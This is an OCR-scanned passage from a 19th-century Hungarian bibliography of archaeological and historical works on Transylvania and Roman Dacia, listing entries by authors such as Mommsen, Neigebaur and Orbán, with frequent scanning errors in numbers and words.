148. - Geographie des G-roszfürstenthums Siebenbürgen. Hermannstadt,
1813. 8r. 2. rész.— Elszórva, főleg: I. r., 77— 78.1.— II. r., 24 -25,
26— 27,28— 20, 33, 61, 67— 68, 69, 84,86—87, 90, 102. 1.
■ií'.K Marini Gaetano — ). Gli atti e monumenti de'fratelli arvali scolpiti
gia1 in tavole di marmo ed ora raccolti diciferati e comentati. Koma,
I 705. 4r. — II. k., 462. 1., YII. sz.
450. Marmont ; Maréchal — duc de Rarjuse). Voyage en Hongrie, en Tran-
sylvanie, dans la Kussie méridionale. Paris, 1837. 8r. — I. k.,
elszórva. Német fordítása következő czím alatt : Reise durch Ungarn
und Siebenbürgen. Aus dem französischen übersetzt von I ' .. r. Al-
vensleben. Leipzig, 1837. 8r.
451. Marquardt (Joachim — ). Zur Statistik der römischen Provinzen. Ein
Nachtrag zu Becker-Marquardt, Handbuch der römischen AJterthü-
mer, III. 1. Leipzig, 1854. 4r. — 12—13. 1.
452. — Römische Privatalterthümer. Leipzig, 1861 — 1867. 8r. (Becker-
Marquardt, Handbuch der römischen Alterthümer nach den Quellén
bearbeitet. Y. Theil 1 — 2. Abtheilung) 2 kötet, elszórva.
453. — De provinciarum Romanarum conciliis et sacerdotibus. — L. Ephe-
meris Epigraphica, Corporis Inscriptionum Latinarum supplemen-
tum (Romae-Berolini) I. k. (1872) 207. 1.
451. — Römische Staatsverwaltung. Leipzig, 1873 — 1878. 8r. (Marquardt-
Mommsen, Handbuch <L-r römischen Alterthümer IX — VI. B.), I —
III. k. — Elszórva, főleg: I. k., 152—156. 1. (XXIH. Dacia), 373—
374,1., 13) jegyzet.
— — L. Becker 65. sz.
Í55. Marsili (Aloysius Férd. rmn. — ). Danubius Pannonico-Mysicus, obser-
vationibus geographicis , astronomicis, hydrographicis, historicis,
physicis perlustratus. Hagae Comitum et Amstelodami, 1726. ívr.
- Főleg: II. k., 15, 25—34, 37—30, 50—60, 63—60, 85—86,
120—134, 135—141. 1. és 62. t., 1—6. sz.
456. — ■ Lud. Férd. Marsilli comitis epistola de ponté sub imperio Trajani
supra Danubium exstructo ad reverendissimum et doctissimuiu
patrem Bernardum de Montfaucou. - - L. Albertus Henricus de
Sallengre, Novus thesaurus antiquitatum . Hagae-Comitum, 1716 —
1719. ívr. — II. k., 990—994.1.
457. Martorellius (Jacob us — ). De regia theca calamaria. Neapoli, 1756.
ír. — I. k.. 1 1-6 -1 17. 1.
I.. Massniann— Miksa, 458—465. 51
158. Massmann (Joannes Ferdinandus — ). Libellus aurariue, Bive tabulae
ceratae el untiquissimae et unicae Komanac in fodina auraria apud
Ahrudbanyam oppidulum Transsylvanum auper repertae. Lipsiae
(nyomtatva: Monachii) évn. ( 1840 vagy 1841, v. <>. Gelehrte Amelyen
[München 1844. évf., 112. sz., s77. 1. ugyancsat Massmanntól).
Ismertette: V . Hugó 328. szám alatti czikkében és Wenzel Gusztáv,
Jahrbüeher der IAteratur (Wien) CXI. k. (1845) 90 I 15. 1. (E via
táblákról egyetmást még a következők is tartalmaznak : J amsen
. Ken Romeinsche Tegel voorzien vau latijnsch cursiefschrift* Btb.
czímü miivének ismertetése, 1. Jahrbücher für wissenscha/tlicJn
Kritik [Berlin; 1844. évf., IK k.. 95. sz.. 759 -760.1. : és Massmann
tói, Gelehrte Anzeigen München] 1846. évf., 6. sz.. í-9. 1.)
159. — Ueber die einzigen bisher bekannt gewordenen, ácht römischen
Wachstafeln vom Jahre 167 n. C. — L. Gelehrte A nzeigen (München)
XII. k. (1841 i 99. sz.. 793 799. 1.; 100. sz., 801—806. 1. : 101. sz..
809 -81 i, 1. : 102. sz.. S 17— 822. 1. : 103. sz.. S25— 831. 1. ; 104. sz.,
833—840. 1. ; 105. sz., 841—844. 1.
160. Matz (Fr. — ). Goldschale von Pietraossa. — L. Hübner, Archaologische
Zeitung (Berlin) N. F. IV. k. 1 1872. 29. évf.) 1:10—137. 1.
161. Maurer (Christian Friedrich — ). Beitriige zur Geographie und Ge-
schichte Siebenbiirgens als eines Theiles der römischen Provinz
1 'ucia. — L. Programm des evangelischen Unter-Realgymnasiums
A. II. und der damit verbnndenen Lehranstalten in Saehsisch- Regen
am Schlusse des Schuljahres 1869/70. iHermannstadt, 1870. 8r.)
5—46. 1.
162. Maurer (Friedrich — ). Die Besitzergreifung Siebeubürgens durch die
das Land jetzt bewolmenden Nationen. Landau, 1S75. 8r.
85—98. 1.
— Menke. — L. Spruner 724. sz.
163. Mestorf (J. — i. Der internationale Anthropologen- und Archáologen-
Congress in Budapest vom 4. bis 11. September 1876. . Lcbte Ver-
Bammlung. Hamburg, 1876. 8r. 12- 43.1.
464. Miksa (György). Erdélyi arany-ezüst és barna réz (bronce) régií
a bécsi régiség- és éremtárban. L. Korunk (Kolozsvár) 1864. évf.,
77, 70 és 81 . sz. (tárcza).
165. - Magyarhoni emlékek külföldön. — L. Kolozsvári Nagy Naptár 1866.
(H.) évf., 63—65. 1.
4*
52 I .. Miksa- Mindszenthy, 466—476.
166. - Hosszutelke régészeti szempontból. — L. Kolozsvári Közlöny Isiiw.
évf., 115. sz., 472. 1.
í()7. - Magyar történelmi emlékek külföldön. (Különös tekintettel az egy-
kori Erdélyre). Kolozsvár, 1 868. 8r.— 23— 58, 67—100. L, elszórva.
468. Miletz (János). Temesvár hadászati jelentősége történelmünkben az
Árpád-ház kihaltáig. - - L. Történelmi és régészeti értesítő, a dél-
magyarországi történelmi és régészeti társulat közlönye (Temesvár)
I. k. (1875) 5 — 1 4. 1. (V. ö. u. o., 35 — 36. 1.). Lenyomata u. a. czím
alatt, a. o., a. a. 8r.
469. - Archaeologiai ismertetés a régi pogány temetőkről, tekintettel Dél-
magyarországra. — L. Történelmi és régészeti értesítő, a délmagyar-
országi történelmi és régészeti társulat közlönye (Temesvár) II. k.
(1876) 61—70. 1. (V. ö. u. o., I. k. (1875) 41—42. 1.
470. — Temes- és Arad- vármegy ék történelmi és régészeti emlékei. — L.
Történelmi és régészeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) II. k. (1876) 128 — 136,
165 — 180.1., elszórva. (V. ö. u. o., 42, 05, 103. 1.). Lenyomata u. a.
czím alatt, u. o., u. a. 8r.
471.—- Torontál vármegye történelmi és régészeti emlékei. — L. Törté-*
nelmi és régészeti értesítő, a délmagyarországi történelmi és régé-
szeti társulat közlönye (Temesvár) III. k. (1X77) 3 — 17. 1., elszórva.
(V. ö. //. o., 25, 28, 75 — 76. 1.). Lenyomata u. a. czím alatt, u. <>.,
u. a. 8r.
472. — Eégiségleletek s régi várnyomok Török-Szákos körül. - L. Törté-
nelmi és régészeti értesítő, a délmagyarországi történelmi és régé-
szeti társulat közlönye (Temesvár) III. k. (1X77) 84 — 85. 1.
473. — Krassó vármegye történelmi és régészeti emlékei. — Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társu-
lat közlönye (Temesvár) IV. k. (1878) 3 — 22. 1., elszórva. (V. ö.
a. o., 31, 33. 1.)
474. - Szörény vármegye történelmi és régészeti emlékei. - - L. Törté-
nelmi és régészeti értesítő, a délmagyarországi történelmi és régé-
szeti társulat közlönye (Temesvár) V. k. (1879) 13—42. 1.
475. Miller (Jac. Ferdin. de — ). Hercules Mehadiensis animadversionibus
criticis illustratus. Pesti ni, 1806. 8r.
— — L. Haliczky 268. sz.
Í7(i. Mindszenthy < Jutái j. Egy fordulás az alföldön. — L. Tudományos
!•• Miskolczy— Mommsen, 477—488.
53
Gyűjtemény (Pest) 1832. (16.) évf., V. k., 8 9,29 35.1. VI. k.
8 13,21 25.1.
177. Miskolczy (Károly). A magyar alföldi halmokról (az ördög-árka
Biharmegyében). - L. Vasárnapi Ujsáy (Pest) 1864 (XI.) évf
23. sz., 218. 1.
178. Mogyoróssy ( János. Id. —). Két gyulai lelet.— L. Archaeoloyiai Kői
Innenitek (Pest) VIII. k. (1871) 141—142. 1.
— — L. még: IV. rész, 9, 10. sz.
Í79. Möckesch (Martin Sámuel — ;. Funde bei KleinschelkundGrossprobst-
dorf. — L. Mittheilunyen der k. /.-. Central- Commission zur Erfor-
schung und Erhaltuny der Baudenkmale (Wien) II. k. (1857)
167—168. 1.
480. — Kleinschelker Anticaglien. - - L. Mütheilunyen der k. k. Central-
Commission zur Erforschuny und Erhaltung der Baudenkmah (Wien)
II. k. (1857) 279—280. 1.
Í81.— Grossprobstdorfer Anticaglien. — L. Mittheilunyen der k. k. Cmtral-
Commission zur Erforschuny und Erhaltuny der Baudenkmale (Wien)
II. k. (1857) 330. 1.
182. - Kleinschelker Funde. — L. Mittheilunyen der k. /.-. < 'entral- Commis-
sion zur Erforschuny und Erhaltuny der Baudenkmale (Wien) III. k
I 1 858 1 335—330. 1.
183. (irossprobstaorfer Funde. — L. Mittheilunyen der k. k. Central-
Commission zur Erforschuny und Erhaltuny der Baudenkmale (Wien)
IV. k. (1859) liiZtl. 1.
184. Moller (Dan. Guil. —). Disputatio de Transilvania. AJtdorf, 1700. ír.
— Elszórva, főleg: 6—7, 9— 14, 23, 30, 32, 33, 34, 35, 37. 39. 1.
485. Mommsen ( Theodorus —). De collegiis et sodaliciis Romanorum.
Kiliae, 1843. 8r. — Elszórva, főleg : 93 -95. 1.
Í86. — Polemii Silvii laterculus. L. Abhandlunyen der phü.-hist. < las*
der köniylich Sachsüchen Gesellschaft der Wissenschaften (Leipzig)
III. k. (1853) 254, 264, 265. 1. Lenyomata u. a. czím alatt. u. 0.,
u. a. 8r.
4s7. — Berioht über den Fortgang der Vorarbeiten für das Corpus In-
seriptionum Latinarum. — L. Monatsberichte derköniyl. Preuss. Aka-
demie der Wissenschaften :u Berlin (Berlin) 1856. évf., 548 549.1.
— 1S65. évf., 632. 1.
4SS. — Eeisebericht. - L. Monatsberichte der köniyl. Preuss. Akademie der
54 I., Mommsen, 489—495.
Wissenschaften zu Berlin (Berlin) L857. évf., 151, 513— 516, 518
524. 1. (V. ö. m. o., 1866. évf., 809. L). — Lenyomata következő czím
alatt : Auszug aus elem Monatsbericht der königl. Akademie der
Wissenschaften zu Berlin. Berlin, 1857.8r.(Utánnyomatátl. Trans-
silvania, Beiblatt zum Siebenbürger Botén [Hermanstadt] 1858.
évf., 173-175.1.)
/,>!>. __ Verzeichniss der römischen Provinzen aufgesetzt um 297. Mit
einem Anlrange von Kari Müllenhoff. - ■ L. Phihlogische und
hi&torische Abhandlungen der königlichen Akademie der Wissenschaften
zu Berlin. Aus dem John- 1862. (Berlin, 1863.) 491, 4-94, 497—498,
508 509, 523 — 526, 538. 1. — Lenyomata u. a. czím alatt, Berlin,
1863. 4r. (Ismertetve: Zarncke, lAterarisch.es < entralblatt für Veutsch-
land [Leipzig] 1865. évf., 37. sz., 969. 1.)
490. __ Über die römischen Inschriften Siebenbürgens. - - L. Monatibe-
richte der königl, preuss. Akademie der Wissenschaften zu Berlin (Ber-
lin) 1864. évf., 607.1.
40 1. _ Walachische Inschriften. -- L. Archaologischer Anzeiyer. Znr Ár-
chaologüchen Zeitung (Berlin) XXIII. k. (1865) 199-201. sz.,
(»5^_96:;:. 1.
192. __ Res gestae divi Augusti. Ex monumentis Ancyrano et Apolloniensi.
Berolini, 1865. 8r. — 88—89. 1.
S-93. — Observations sur les inseriptions de Troesmis. Lettre de M. Th.
Mommsen á M. L. Benier.— L. Benne archéologique (Paris) XHL k.
(1866. Nouvelle série VII. année) 187, 188—189. 1.
194. über die siebenbürgischen Wachstafeln. - - L. Monatsberichtt der
königl. preuss. Akademie der Wissenschaften zu Berlin (Berlin) 1870.
évf., 795. 1.
495. — Inscriptiones Asiae provinciarum Europae Graecarnm Illynci
latináé. Berolini, 1873. 4r., két rész.— L. Corpus Inscriptionum La-
tinarum consilio et auctoritate Academiae litterarum regiae Borus-
sicae editum III. k., 1—2. r. (Berolini, 1873. 4r.). - Z. rész: In-
scriptiones falsae vei alienae (Dacia) 6:|:— 12:;;. 1., 33*— 105*. sz. es
Auctarium 32*. 1. (Ad n. 52*).-- Felíratok: Dacia 153— 261. 1.,
7S6— 1640. sz. — 2. rész: Privilegia militum veteranorumque de
civitate et conubio adhuc reperta 843. 1. ; s57. 1., XIV. sz. ; 858. 1.,
XV. sz. és 1058. 1. (Additamenta. Ad p. 858); 876. 1., XXXIII. sz. ;
877. 1.. XXXIV. sz. : 882. 1.. XL. sz.; 886. 1., XLIV. sz. — Instru-
I., Mommsen— Montelius, 496—503.
menta Dacica in tabulisceratis conscripta H-_' 1 ÍKiU. 1., I XX\
■ - 1058. 1. (Additamenta. Ad p. 932 a Errata) ; ( . Zangemeister, l>>-
talmin A, qua litterarum formae ex tab. ceratie repraesentatae
'Mii 966. 1. Additamenta (Daciái 1013 1019. 1.. 6245
6288. sz. ( Ismertette : Detlefsen,l.Bnrsían,Jahresbericht über dv Fort-
schritte der classischen Alterthwnswissenschaft [Berlin [. évf. Iv7.i
2. k., 798—806. 1. [1. Detlefsen 162. sz. ; Ortvay Tivadar, 1. Ortvay-
Szentkláray, Történelmi adattár Csanád-egyházmegye hajdanához és
jelenéhez [Temesvári IV. k. [187 l 27 -30. 1. és Ortvay 57 I ,
196. — Additamenta ad Corporia volumen III. - L. Ephemeris epigra-
phica, Corporis Inscriptionum Latinarum supplementum (Romae —
Berolini) II. k. (1875) Dacia 301 — 3^7. 1., 370—482. sz. — Privilegia
militnm veteranorumque de civitate et conubio £53. 1., 1015 —
1016. sz. — Ad tabulas ceratas W>1. 1.
197.— Additamenta secunda ad Corporis volumeji III. — L. Ephemeris
epiyraphica, Corporis Inscriptionum Latinarum supplementum
(Romae— Berolini) IV. k. (1879) Dacia 60—78.1., 134—208. sz. :
Ad tabellas ceratas 187- 188.1.
198. — Die römischen Lagerstadte. — L. Hübner, Hermes Zeitschrift für
classische Phüologie (Berlin) VII. k. (1873) 302. 303, 305, 306- 307,
311, 312, 313, 314, 316, 321, 322, 323 324.1.
499. — Römisches Staatsrecht. Leipzig, 1x71 — 1875. 8r. (Marquardt —
Mommsen, Handbuch der römischen Alterthümer I — II. B.) I — II. k.,
elszórva.
500. — Tribus imperatoriae (Observationes epigraphicae, XX.). — L. Ephe-
meris epigraphica, Corporis Inscriptionum Latinarum supplementum
(Romae-Berolini) III. k. (1877) 230—231. 1.
501. — Mittheilungen aus Handschriften.L. < 'onze-Hirschfeld,Archaeologisi h-
epigraphische Mittheilungen aus Oesterreich (Wien) I. k. i 1877) 126. 1.
502. — Nomina et gradus centurionum(< >bservationes epigraphicae, XXVI |.
— L. Ephemeris epigraphica, Corporis Inscriptionum Latinarum sup-
plementum (Romae-Berolini) IV. k. 1 1 879) 232. 1., I 2. 1 9a. és 22. sz. ;
235—236. 1.. 50. sz.
503. Montelius f Oscar — ). Sur les poignées des épées et des poignards en
bronzé.- — L. Congrés International d'anthropologit et d'archéologie
préhistoriques. Compte-rendu de la ',• session, Stockholm, 1874. (Stock-
holm, 1876. 8r.). 902. L, 4. sz. ; 903. L, 6 sz.
56 I., Morcelli— MüIIer, 504—516.
504. Morcelli (Steph. Antonius -). De stilo inscriptionum latinarum libri
III. Romae, évn. (1781) 4i\, elszórva.
— Moreili. — L. Gori 252. sz.
505. Muchar (Albert von — ). Geschichte des Herzogthunis Steiermark.
Graetz, 1844. 8r. — I. k., 352. 1. (apulumi s nem celeiai felírat).
506. Müllenhoff ( Kari — ). Geten. — L. Ersch-Gruber, Allgemeine Encyklo-
pádie der Wissenchaften und Künste (Leijizig) I. Sect. LXIV. k.
(1857) 4iS — 464. L, elszórva.
507. — TJber das Sarniatien des Ptoleruaeus. — L. Monatsberichte der königl.
preuss.A kademie derWissenschaften zu Berlin (Berlin) 1 866. évi'.. 3 — 4. 1.
— — L. Mommsen 480. sz,
508. Mtiller (Friedrich — ). Eeiseblátter von der Fahrt zur Versammlung
des Vereins für siebenbürgische Landeskunde in Reps. — L. Blát-
terfür Geist,Gemüth und V aterlandskunde (Kronstadt) N. F. I. (1851)
évf., 10—23.1.
500. — Archaologiscbe Skizzen aus Scbaszburg. — L. Archív des Vereines
für siebenbürgische Landeskunde (Kronstadt) N. F. II. k. (1855)
387—306. 1.
510. — Bericht über eine Ausgrabung in Bistritz. — L. Transsilvania,
Beiblatt zum Siebenbürger Botén (Hermannstadt) 1856. évf.,
19. sz., 74. 1.
511. — Bennei (Mehburg) és segesvári római régiségek. — L. Blatterfür
Geist, Gemüth und V aterlandskunde (Kronstadt) 1857. évf., 29. sz..
197.1. (Miszellen).
512. — Mebburger Anticaglien. — L. Mittheilungen der k.k. Central-Com-
mission zur Erforschung und Erhaltung der Baudenkmale (Wien)
II. k. (1857) 194.1.
513. — Siebenbürgische Sagen. Kronstadt, 1857. Nr., elszórva.
514. — Die Kunién am Firtos in Siebenbürgen. — L. Mittheilungen der /,-. /,-.
Central- Commüsion zur Erforschung und Erhaltung der Baudenkmale.
(Wien) III. k. (1858) 257—263. 1.
515. — Römische Inscbrift aus Birthálm. — L. Mittheilungen der k. k.
Central-Conmission zur Erforschung und Erhaltung der Baudenkmale
(Wien) III. k. (1858) 306.1.
516. — Die Bronzealterthümer, eine Quelle der álteren siebenbürgischen
Geschichte. — ■ L. Archív des Vereines für siebenbürgische Landeskunde
(Kronstadt) N. F. III. k. (1858) 333—382. 1.
I.. Müller— Muratori, 517—522.
517. — Römerspuren ira Ostcn Siebenbürgens. -- L. Mittheilungen der
/.-. /;. i 'entral'i 'onimission :///• Erforschung und Erhaltung der Baudenk-
inale (Wien) IV k. (1859) 69—74, 100— 10'.), [63 165. 1.
51 S. — Die kirchliche Baukunst des romaniscben Styles in Biebenbürgen.
— ■ L. Jahrbuch der k. k. Central- Commission sur Erforschung und
Erhaltung der Baudenkmale (Wien) HL k. (1859) 152, 156, 159
160. 1.
519. Siebenbürgische Altertbümer. — L. TrauschenfeU, Magazin für Ge-
schiclite, Literatur und allé Denk- und Merkwürdigkeiten Sieben-
bürgens (Kronstadt) N. F. II. k. (1860) 3—30. 1.
520. — Die Heidengriiber bei Kastenholz. — L. Archív des Vereines für
siebenbürgischeLandeskundi (Kronstadt) N.F.V. k. i 1862) 240—2541.
— — L. Ackner 35. sz.
— Müller (Jacob — ). L. Bossart 110. sz.
521. Műnk (Manó). A Herkulesfürdő és környéke. Természettudományi.
orvosi, fürdészeti, történelmi és statistikai tekintetben. Pest. 1872.
Sr. — 149—167, 170, 257— 262. 1. (v. ö. 137— 138. L). —Ismer-
tette: Böhm Lénárd, 1. Ortvay — Szentkláray, Történelmi adattár
Csanád-egyházmegye hajdana és jelenéhez (Temesvári III. k. (1873
20—31.1.
522. Muratori ( Ludovicus Antonius — ). Novus thesaurus veterum in-
seriptionum in praecipuis earunidemcollectionibushactenus praeter-
missarum. Mediolani, 1730 — 1742. ívr. 4 kötet. — I. kötet : a prae
fatio i. oldala ; 3, 1 és 13 ; 4, 4 és 8 ; 6, 2 és 6 ; 7, 2 és 8 ; 11, 3—4
és 0; 12, 14; 15, 5; 17, 8; 19, 1 ; í3, 4 ; 45, 3— í : 19, 2 (voltaké-
pen sarniizegetusai) és 6; 58, 8; 61,8; 63, 4 és 8 : 64, 7 ; 65, 5 :
67, 5; 68, 10; 76, 2; 77, 11; 87, 4; 88, 8; 91, 6 ; 101, 3; 102, 7;
141,5 (voltaképen apulumi); 146, 3; 155, 2; 241, 5; 245, 1 2;
325, 1 ; 332. 3; 335, 1 ; 348,4; 355, 3; 350, 3; 133, i : 517, I :
51S, 2; 531,4. -- II. kötet: 672. 8; 673, 5; 693, 4; 739, 3; 746,
i: 773, 7: 791, i; 793, 2; 796, 2: 707. 4; 832, 5; 840, I : 842, i :
843,4; 861, 9; 862, 9; 880, 7: 916, 1 : 1031, 2; 1043, 5; 1100, 7:
1101, 2—3; 1110, 2; 1121. 1-7 ; 1122. 1—2; 121S, í, — 111. kö-
tet: 1200,2: 1352. 15; 1512. 16; 1516, 11; 1625,1; 1653,3;
1681, 0. — IV. kötet: 1961, 8; 1978, 1 : 1983, I : 2021, 2.
58 I., Nagy -Neigebaur, 523 — 534.
N.
523. Nagy (László. Perecseni — ). Arad vármegye régiségei közé számlálható
halmokról. — L. Tudományos Ggüjtemény (Pest) 1819. évf., II. k.,
80—83. 1.
524. — Régi Dácia históriai földleírása. — L. Felsömagyarországi Minerva
(Kassa) 1825, évf., 213—224. 1. ( .V. jegy alatt).
•~i25. Erdélyi ritkaság. — L. Felsömagyarországi Minerva (Kassal 1825.
évf., 431—434. 1.
526. Neigebaur < ./. V. — ) Römisches von der Donau. — L. Gerhard, ár-
chaologüche Zeitung (Berlin) I. (1843) évf., 7. sz., 126 — 128. 1. (v. ö.
Gerhard 231. sz.). — A 1 27 — 1 28. 1. a petrósai aranylelet mint buseói
van említve.
.VJ7. - Comunicazioni topografiche sulla Dacia. — L. Bullettino delV Imti-
tuto di corrispondenza archeologica (Eoma) 1848. évf., 3. f., 30 — 37.1.
528. Medaglie e tegole di varia forma scoperte in Trasilvania. — L.
Bullettino delV Instituto di corrispondenza archeologica (Roma) 1848.
évf., 4. f., 50— 51.1.
529. — Tubi a forma di bottiglie, trovati in Transilvania. — L. Bullettino
delV Instituto di corrispondenza archeologica (Roma) 1848. évf., 4. f.,
53. 1. (Használatukat magyarázta Bromet 112. sz., v. ö. Bergau 11.
értekezésével, Annali delV Instituto di corrispondenza archeologica
[Roma] XXXIX. k. [1867] 405—408. 1.)
530. — Bassorilievo col disco del sole tra due leoni, proveniente dall' antica
Salinae stb. — L. Bullettino <lcll' instituto <li corrispondenza archeo-
logica (Roma) 1848. évf., 4. f., 53. 1.
531. — Tavole cerate trovate nella Transilvania. — L. Bullettino delV Insti-
tuto di corrispondenza archeologica (Roma) 18 is. évf., 4. f., 53. 1.
532. — Ueber die Münzfunde Daciens. — L. Gerhard, Archeiologische Zeitung
(Berlin) N. F. 1848. évf., Beilage 7. sz., 110:::— 112*. 1.
533. — Alterthümer und Inschriften in Siebenbürgen. Aus Briefen des k.
preuss. Geheimenrathes Bittér s Neigebaur an Professor Wieseler in
Göttingen. — L. Bergk-Caesár, Zeitschriftfür die Alterthumswissen-
schaft (Cassel) V. k. (1847) 4. f., 38. sz., 300—302. 1. (I. levél) és
VI. k. (1848) 8. f., 88. sz., 700—703. 1. (II. levél.)
534. - Dacien. Aus den Ueberresten des klassischen Alterthums, mit
Neigebaur — Neumann, 535—542. 59
besonderer Bücksichi auf Siebenbürgen. Topographisch zusammen-
jtellt. Kronstadt, 1851. 8r. — Ismertetve: Reinsberg, Magazin/üt
Literatur des Aualandes (Berlin) 1852. évf., 29. bz. : //. Wuttke, Jahr-
buchfür Philologie und Padagogik LXVII. k., I.f. ; Klein, Heidel-
berger Jahrbücher der Literatur 1854. (XLVU.J évf., 5. f., H. -/...
641, 643, 648, 649, 650, 651, 654, 655. 1.
535. Römische Wachstafeln aus Dacien. — L. Gerhard, Archöologiscfier
Anzeiger. Xur Archáologischen Zeitung (Berlin) 1856. (XIV.) évf.,
88. sz., 191*— 192*. 1.
L. Henzen 298., ::<)l>.. 304. sz.
536. Nemes ( ?). Régészeti közlemény. — I,. Kolozsvári Közlöny 1869. évf.,
52. sz., 223. 1. X—s. jegy alatt. (X. <">. Eszterházy 187. bz.)
537. — Kolozsvárt a vasúti munkálatok alkalmával lelt római feliratos kő,
ősállatcsontok s régi pénzek. — L. Archaeologiai Értesítő (Pest)
I. k. (1869)235—236. 1. X—s. jegy alatt. (V. ö. Eszterházy 187. sz.
Az előbbi szám alattival ugyanegy tartalmú.)
538. Neugeboren (Carl — ). Handbuch der Geschichte Siebenbürgens.
Hermannstadt, 1836. 8r. — 5— 22. 1.
ö.'-!!». Neugeboren (J. L. — ). Verzeichniss der Antiquitáten des Báron v.
Brukentlialiseben Museums zu Hermannstadt. — L. Sitzungsberichte
der phil.-hist. Classi der kaiserlichen Akademie der Wissenschaften
(Wien) VI. k. (1851 | 285 293. 1. Szerző neve hibásan Xeugebauer-
nek van írva.
540. — Ein neuentdeckter Heidenkirchhof zu Grosspold in Siebenbürgen.
— L. Mittheilungen der k. k. L'entral-Cojnmission ;///• Erforschung
und Erhültung der Baudenkmále (Wien) II. k. 1857) 108 109. 1.
541. Neumann f Franciscus — /. Populorum et regum nuiui veteres inediti.
Yindobonae, 1770. 4r. — I. k.. 84—91. 1.
'ií'2. Neumann f Wilhelm — ). Die Pfahlbauten auf der Trajanssáule. — L.
Peschel, Dos Ausland, Ueberschau der neuesten Forschungen auf
dem Gebiete der Natúr-, Erd- und Völkerkunde (Augsburg) 1867.
(XL.) évf.. 27. bz., 645—646. 1.
60 I., Odobescu— Orbán, 543—550.
o.
543. Odobescu (A. 1. — ). Notice sur le trésor de Pétrossa (D'aprés des
Communications de M. Odobesco). — L. Congrés international d'an-
thropologie et d'archéologie préhistoriques. Compte-rendudela P' seesion,
< 'openhague, 1869 (Copenhague, 1875. Sr.) 361—372. 1.
514. — Pannónia és Dacia régészeti érdekei. — L. Archaeologiai Értesítő
(Pest) I. k. (1869) 129—135. 1. (V. ö. u. o., 209—300. 1.)
545. — Despre unu vasú de lutu cu numele lui Decebalu (descoperitu la
Blain, in Francia). Nóta archeologicá. Bucuresci, 1 s7->. ír. (Estrasü
dm revista Columna ha Traíanü din 1 decembre 1872, Nr. 34.)
546. — Antiquités préhistoriques de la Eoumanie. — L. < 'ongrés interna-
tional d' anthropologie et d'archéologie préhistoriques. Gi»n}>te-rcn<hi
dé la /'' session, Copenhague, 1869 (Copenbague, 1875. Sr.) 116
126.1.
547. Olahus fXicolaus — ). Hungária et Atila sive de originibus geiitis.
regni Hungáriáé situ, liabitu, opportunitatibus et rebus bello pace-
que ab Atila gestis libri duo (Kollár kiadása). Vindobonae, 1763. Sr.,
elszórva, főleg: 12 — 13, 54, C2, 65, 76,77 — 80.1. és e kiadvány
végén : Nicolaus de Rosenberg, De situ, moribus, et diversitate
Scytbicarum gentium libellus singularis. — 209. 1. (Oláh Miklós
e művét részben utánnyomatta Cpiariu következő czím alatt :
Nicolau, A. Episcopulu Strigonului. II. Escerpte dein opulu isto-
ricu alu lui sub titlu «Hungaria». — L. Gipariu, Archiou pentru
filológia si istoria [Blasiu] 1870. évf., XXXVI. sz., 711 — 711.1.:
XXXVII. sz., 726—733. 1. ; XXXVIII. sz., 750—756. 1.)
548. Opitius (Martinus — ). Geistliche poemata. Amsterdam, 1645. 12r. —
199. 1.
519. — Opera poetica. Das ist geistliche und weltliche poemata. Amster-
dam, 1646. 12r., elszórva, főleg: 146—119. 1. (Zlatna oder Ge-
tichte von Euhe desz Gemütbes).
550. Orbán (Balázs). Bonta és Tcpej szorosa (Udvarbelyszékben). — L.
Századok, a magvar történelmi társulat közlönye (Pest) II. k.
( 1 868) 263. 1.
I., Orbán, 551. 61
551. — A székelyföld leírása történelmi, régészeti, természetrajzi
isméi szempontból. Budapest, 1868 1n7;>. ír. I VI. k. ')
i A Székelyföld e nagy szorgalommá] egybeállított monographiája, elvo-
natkozva az ú. n. kereszténykori archaeologiát illet" számos becset és nagy-
részt új adataitól, az ős-, római és népvándorlási-kor maradványaira vonat-
kozó a eddigelé nagyobbára ismeretlen adatoknak oly gazdag és értékes
zatát nyújtja, hogy valóban kívánatos volna ez adatoknak úgy általában hazai
régészetünk, valamint különösen ókori föld- és helyiratunk érdekében való
tüzetesebb értékesítése és méltatása semmint az eddig történt. A nagyérdemű
szerzd c maradványokat jobbadán ugyan csak mint nyomjelző sorolja fel, ''e
általában mégis elég részletesen és híven arra, hogy a régészet e mű, autop-
BÍán alapuló kalauzolása mellett szakszerűen utánnyomozva, az adatokai egy-
bevetve és tisztázva : hazánk amaz érdekes részének ókori térképét s archaeo-
logiai repertóriumát történeti ismereteink tetemes gyarapodására és hasznára
valahára elkészíthesse.
Az érintett tekintetből igen kívánatos régészeti utánnyomozat és vizs-
gálódás miveletét részemről megkönnyíteni kívánván, szerző szórványos s a
kellő rendszeresség hiánya miatt itt-ott lappangó adatait korszakok szerint
osztályozva és csoportosítva ■ — kizárásával a magyar-betelepüléskori ma-
radványokra vonatkozó adatoknak, melyekre e repertórium nem terjed ki —
figyelemmel sőt mondhatom nagy gonddal e helyütt egybeállítottam, illetőleg
a hivatkozásokat ennek alapján kijelöltem. Nem szükséges mondanom, hogy
a nagy bőségü ailatanyagnak korszakok szerinti eme különválasztása s kijelö-
lése — a római-korra vonatkozó műemlékekét kivéve, melyek jobbadán
biztossággal valának osztályozhatók — részben az önszemlélés hiánya miatt
icsak a IV. és V. kötet néhány adatát illetőleg támaszkodhattam autopsiára),
részben pedig ama hasonlatosság folytán, mely az őskori emlékeket a római-
korbeli barbár ereíletüektől, főleg pedig a voltaképeni népvándorlási-kor ma-
radványait a speciális magyar-betelepülési-koréitól egyáltalán oly n«hezen
metíkülönböztethetőkké teszi : felette nehéz s hosszantartó munkát adott : a
mihez a szerző nyújtotta adatok említett szór\ánvossáurán kívül még az is
járult, hogy azok néhol nem is egészen elégségesek, nem egyhelyütt pedig
határozatlanok, elmosódottak, sőt az azokon való óhajtott eligazodás rovására
igen gvakran még bizonyos schemaszerü egyformásított jelleggel is oly czélból
vannak szerző által és pedig, mint látszik, szándékosan felruházva, hogy
okvetlenül a magyar-őskor érdekében való foglalásra, hazafias archae logiai
arrondirozásra vezessenek. Ezek miatt tehát, de különben már magánál a do-
log természeténél fogva is a korszakok szerinti osztályozás és csoportosítás —
a római-korra vonatkozókénak kivételével — sem sikerülhetett teljesen kielé-
gítőleg, legalább nem úgy a mint óhajtani vala ; egészben véve azonban,
mennyiben azt szükséges óvatossággal, iigyelmes összehasonlítás, gondos egybe-
vetés alapján készítem : régész-specialistáinknak mégis elég megbízik.
62 I., Orbán, 551.
I ) Őskor:
